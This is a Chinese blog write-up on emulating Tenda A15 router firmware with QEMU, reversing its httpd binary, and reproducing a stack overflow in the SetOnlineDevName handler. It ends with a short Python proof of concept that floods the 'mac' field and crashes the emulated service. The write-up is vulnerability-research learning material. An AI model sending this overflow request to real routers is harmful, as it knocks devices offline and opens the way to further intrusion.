IOT漏洞挖掘初体验-Tenda A15

Tenda A15 固件模拟与漏洞复现

01 前言

最近也是准备朝着实战方向进军,规划每周都复现一些漏洞,实战确实和CTF差别很大,打CTF的时候,很少用到网络上的知识,基本上都是纯粹的二进制漏洞,但是实战的时候发现自己真是个“偏科生”一点关系到一点web方面的知识,就卡住了,这下终于理解以前学习逆向的学长为什么到最后都是全栈选手了

02固件解包

固件下载地址

固件下载好之后对于我们这些初出茅庐的新手来说,只能选择binwalk3进行一键解包,简直不要太亲民。但是要是遇见没法一键解包的情况目前还不知道怎么处理,到时候自求多福吧

image-20250403202726384

再文件夹中找到文件系统

1
2
3
find . -type d -iname "*root*"


image-20250403202902140

这就是我们需要的东西,由于目录路径一般比较深,可以把文件系统copy到方便找打的地方,后边要经常用

然后就是查看一下IOT设备框架了,直接找到bin中的busybx,发现是mipsel

image-20250403203513118

这样下来我们就做好了基础的准备

03 信息收集

都说漏洞挖掘犹如大海捞针,如果自己一个一个文件看的话,可能效率会很低,这时候都需要用一些工具,来进行自动化分析或者信息收集,这次我只用的是入门级别工具firmwalker,直接开扫

image-20250403203909240

可以发现WEB服务是httpd

image-20250403204201390

04 分析启动项

再目录etc_ro中有init.d目录,其中的文件就是启动项

image-20250403204732152

这些操作我们能执行的都要执行一下,要不一会模拟运行就会出问题呢(别问我怎么知道的😭)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

# 创建所有必要的目录(基于当前目录 ./)
mkdir -p ./var/etc
mkdir -p ./var/media
mkdir -p ./var/webroot
mkdir -p ./var/etc/iproute
mkdir -p ./var/run
mkdir -p ./etc/udhcpc
mkdir -p ./var/debug
mkdir -p ./dev/pts
mkdir -p ./var/ppp
mkdir -p ./tmp

# 复制文件(从 ./etc_ro 和 ./webroot_ro 到目标目录)
cp -rf ./etc_ro/* ./etc/
cp -rf ./webroot_ro/* ./var/webroot #这个就是部署web服务


image-20250403205848830

04用户模拟运行

我们直接运行一下启动项看看怎么个事

1
2
3
4
cp $(which qemu-mipsel-static) ./
sudo chroot . ./qemu-mipsel-static ./bin/httpd


成功运行但是ip貌似不对

image-20250403210521250

IDA打开二进制文件分析一下,ip到底是怎么获取的

字符串查找发现发现有用信息

image-20250403211309565

向上查看赋值情况,为函数参数赋值,交叉引用向上继续查

image-20250403211423338

传入的是bss段地址,继续交叉引用查看赋值

image-20250403211617368

发现再main函数中发现赋值情况,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GetValue("sys.workmode", value); //获取系统工作模式
if ( !strcmp(value, "apclient") || !strcmp(value, "ap") ) //可能代表无线 AP 模式
{
strncpy(g_lan_ip, "0.0.0.0", 0x10u);
}
else
{
lan_ifname = ifaddrs_get_lan_ifname(); //获取 LAN 口的网络接口名称 --只检查 br0 或 eth0
if ( ifaddrs_get_ifip(lan_ifname, br0IP) < 0 ) //获取该网卡的 IP 地址
{
//获取失败
GetValue("lan.ip", value);
strcpy(g_lan_ip, value);
}
else
{
//获取成功
strcpy(g_lan_ip, br0IP);
}
}


分析到这函数的执行流程就很清楚了

1
2
3
main -> initWebs -> websOpenServer -> websOpenListen -> socketOpenConnection


解决办法就是创建一个能检测到的网卡推荐创建br0

1
2
3
4
5
sudo ip link add name br0 type bridge   # 创建 br0 网桥
sudo ip link set br0 up # 启动 br0
sudo ip addr add 192.168.0.1/24 dev br0 # 给 br0 配置 IP(可选)


成功解决

image-20250403213223679

用浏览器即可进入WEB界面

image-20250403213322564

05 系统模拟运行

下面展示一下系统模拟运行

自己再网上总结了很多脚本,自己稍加改动直接一键运行,简直不要太爽(就喜欢这种感觉哈哈),默认账户和密码都是root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/bin/bash
# ==============================================
# QEMU MIPSEL Debian Squeeze 虚拟机安装脚本(带校验功能)
# 适用于嵌入式开发/逆向工程环境搭建
# ==============================================

# 配置参数
WORK_DIR="debian-mipsel-qemu"
IMAGE_FILE="debian_squeeze_mipsel_standard.qcow2"
KERNEL_FILE="vmlinux-2.6.32-5-4kc-malta"
START_SCRIPT="start.sh"

# 1. 创建工作目录(如果不存在)
if [ ! -d "$WORK_DIR" ]; then
echo "创建目录 $WORK_DIR..."
mkdir -p "$WORK_DIR"
fi

cd "$WORK_DIR" || { echo "无法进入目录 $WORK_DIR"; exit 1; }

# 2. 下载镜像文件(如果不存在)
download_file() {
local url=$1
local file=$2
if [ ! -f "$file" ]; then
echo "正在下载 $file..."
wget "$url" -O "$file" || { echo "下载失败"; exit 1; }
else
echo "$file 已存在,跳过下载"
fi
}

download_file "https://people.debian.org/~aurel32/qemu/mipsel/$IMAGE_FILE" "$IMAGE_FILE"
download_file "https://people.debian.org/~aurel32/qemu/mipsel/$KERNEL_FILE" "$KERNEL_FILE"

# 3. 生成或覆盖启动脚本
echo "生成启动脚本..."
cat > "$START_SCRIPT" << 'EOF'
#!/bin/bash
sudo qemu-system-mipsel \
-nographic \
-M malta \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-net nic,macaddr=52:54:00:12:34:56 \
-net tap,ifname=tap0,script=no,downscript=no \
-append "root=/dev/sda1 console=tty0"
EOF
chmod +x "$START_SCRIPT"

# 4. 检查是否所有文件都已准备就绪
required_files=("$IMAGE_FILE" "$KERNEL_FILE" "$START_SCRIPT")
missing_files=()

for file in "${required_files[@]}"; do
if [ ! -f "$file" ]; then
missing_files+=("$file")
fi
done

if [ ${#missing_files[@]} -ne 0 ]; then
echo "错误:以下文件缺失:"
printf ' - %s\n' "${missing_files[@]}"
exit 1
fi

# 5. 启动虚拟机
echo "正在启动QEMU虚拟机..."
./"$START_SCRIPT"


启动完成我们就要配置网络了,实现主机虚拟机通信

配置网卡

1. 在宿主机创建 TAP 设备

1
2
3
4
5
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo ip addr add 10.10.10.1/24 dev tap0


2. 在虚拟机内配置 IP

1
2
3
4
5
6
7
ip addr add 10.10.10.2/24 dev eth0 
ip link set eth0 up
ip link add br0 type dummy
ip addr add 10.10.10.3/24 dev br0
ip link set br0 up


image-20250403220001392

把文件系统打包一下,然后用http服务发送到虚拟机

image-20250403220113012

虚拟机这边用wget下载一下,解压文件系统

image-20250403220234903

然后运行启动

1
2
3
4
chroot . sh
./bin/httpd

BASH

直接访问10.10.10.3:80也能出现WEB界面

img

由于我们终端运行着WEB服务,要看输出信息,所有我们可以连一个SSH以执行其他命令

06逆向分析与漏洞复现

用IDA打开httpd分析一下

initWebs是初始话web界面,并根据提交表单调用相应功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int initWebs()
{
unsigned int v0; // $v0
unsigned int v1; // $v0
char *cp; // [sp+30h] [+30h]
in_addr intaddr; // [sp+34h] [+34h] BYREF
char host[128]; // [sp+38h] [+38h] BYREF
char webdir[128]; // [sp+B8h] [+B8h] BYREF
char_t wbuf[128]; // [sp+138h] [+138h] BYREF

memset(wbuf, 0, sizeof(wbuf));
doSystemCmd("echo 0 > /proc/sys/net/ipv4/tcp_timestamps");
socketOpen();
inet_aton(g_lan_ip, &intaddr);
strcpy(webdir, rootWeb);
websSetDefaultDir(webdir);
cp = inet_ntoa(intaddr);
v0 = strlen(cp) + 1;
if ( v0 >= 0x80 )
v0 = 0x80;
ascToUni(wbuf, cp, v0);
websSetIpaddr(wbuf);
v1 = strlen(host) + 1;
if ( v1 >= 0x80 )
v1 = 0x80;
ascToUni(wbuf, host, v1);
websSetHost(wbuf);
websSetDefaultPage("index.html");
websSetPassword(password);
if ( websOpenServer(port, retries) >= 0 )
{
websUrlHandlerDefine(byte_46FC3C, 0, 0, R7WebsSecurityHandler, 1);
websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0);
websUrlHandlerDefine("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0);
websUrlHandlerDefine(byte_46FC3C, 0, 0, websDefaultHandler, 2);
formDefineTendDa();
websUrlHandlerDefine("/", 0, 0, websHomePageHandler, 0);
return 0;
}
else
{
printf("%s %d: websOpenServer failed\n", "initWebs", 0x1D0);
return 0xFFFFFFFF;
}
}


formDefineTendDa函数中就是各个表单调用的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void formDefineTendDa()
{
websAspDefine("aspGetCharset", aspGetCharset);
websFormDefine("getOnlineList", formGetOnlineList);
websAspDefine("asp_error_message", asp_error_message);
websAspDefine("asp_error_redirect_url", asp_error_redirect_url);
websFormDefine("SetOnlineDevName", formSetDeviceName);
websFormDefine("setBlackRule", formAddMacfilterRule);
websFormDefine("delBlackRule", formDelMacfilterRule);
websFormDefine("getBlackRuleList", formGetMacfilterRuleList);
websFormDefine("getDeviceInfo", formGetDeviceInfo);
websFormDefine("telnet", TendaTelnet);
websFormDefine("SysToolReboot", fromSysToolReboot);
websFormDefine("SysToolRestoreSet", fromSysToolRestoreSet);
websFormDefine("SysToolChangePwd", fromSysToolChangePwd);
websFormDefine("SysToolSetUpgrade", fromSysToolSetUpgrade);
websFormDefine("WifiBasicGet", formWifiBasicGet);
websFormDefine("WifiBasicSet", formWifiBasicSet);
websFormDefine("WifiApScan", formWifiApScan);
websFormDefine("ate", TendaAte);
websFormDefine("setApModeCfg", fromsetApModeCfg);
websFormDefine("getApModeCfg", fromgetApModeCfg);
websFormDefine("WifiExtraSet", fromSetWirelessRepeat);
websFormDefine("getQuicksetBridge", fromGetWirelessRepeat);
websFormDefine("getStatusBeforeBridge", fromGetWirelessRepeat);
websFormDefine("exit", formExit);
websFormDefine("hasLoginPwd", formhasLoginPwd);
websFormDefine("loginOut", fromLoginOut);
websFormDefine("sysToolsInfo", fromSysToolsInfo);
}


根据大佬的话说就是多关注带有set的功能,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险

分析处理SetOnlineDevName 请求的formSetDeviceName 函数,其中的set_device_name发现漏洞

没有对字符串长度校验,使用sprintf会造成栈溢出漏洞导致程序崩溃

image-20250403234633289

写一个POC测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2025-04-03 17:12:39
# @Author : Your Name (you@example.org)
# @Link : http://example.org
# @Version : $Id$

import os
import requests

ip = '10.10.10.3'

url = f'http://{ip}/goform/SetOnlineDevName'

payload = {
"mac": '00:0c:29:5f:4d:3c' * 0x100,
"devName": 'devname1'
}

res = requests.post(url=url , data=payload)
print(res.content)


但是和我们预想的不一样

image-20250403235024376

发现程序并没有崩溃,还打印了信息**device name setted failed!*和*set device name error!

进入IDA定位一下执行位置,发现进入下边这个分支

image-20250403235342842

是应为调用tpi_set_mac_info这个外部函数是进行写入nvram 设备的操作,但是我们用qemu模拟的就会调用失败,进入这个分支,所有我们可以改变一下程序的执行流,用IDA进行patch一下,直接把跳转指令nop掉就达到我们的目的了

image-20250403235921306

patch成功,传入mips虚拟机运行

image-20250404000347583

再次发从POC程序崩溃

image-20250404000707382

至此漏洞复现工作完成,虽然比较简单,但是还是学到很多东西